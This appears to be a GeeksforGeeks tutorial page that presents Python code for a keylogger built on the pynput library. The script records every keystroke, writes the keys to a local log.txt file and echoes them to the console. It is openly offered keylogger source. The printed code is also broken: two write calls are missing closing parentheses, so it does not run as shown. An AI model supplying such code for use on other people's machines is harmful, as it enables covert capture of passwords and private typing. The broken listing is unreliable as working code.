How to use pynput to make a Keylogger?

Prerequisites: Python Programming Language

The package pynput.keyboard contains classes for controlling and monitoring the keyboard. pynput is the library of Python that can be used to capture keyboard inputs there the coolest use of this can lie in making keyloggers. The code for the keylooger is given below.

Modules needed

pynput: To install pynput type the below command in the terminal.

 pip install pynput 

Below is the implementation:

filter_none

edit
close

play_arrow

link
brightness_4
code

# keylogger using pynput module
   
import pynput
from pynput.keyboard import Key, Listener
   
keys = []
   
def on_press(key):
      
    keys.append(key)
    write_file(keys)
      
    try:
        print('alphanumeric key {0} pressed'.format(key.char))
          
    except AttributeError:
        print('special key {0} pressed'.format(key))
           
def write_file(keys):
      
    with open('log.txt', 'w') as f:
        for key in keys:
              
            # removing ''
            k = str(key).replace("'", "")
            f.write(k
                      
            # explicitly adding a space after 
            # every keystroke for readability
            f.write(' '
               
def on_release(key):
                      
    print('{0} released'.format(key))
    if key == Key.esc:
        # Stop listener
        return False
   
   
with Listener(on_press = on_press,
              on_release = on_release) as listener:
                      
    listener.join()

chevron_right


Output:

python-keylogger-pyinput




My Personal Notes arrow_drop_up

Check out this Author's contributed articles.

If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.

Please Improve this article if you find anything incorrect by clicking on the "Improve Article" button below.


Article Tags :

Be the First to upvote.


Please write to us at contribute@geeksforgeeks.org to report any issue with the above content.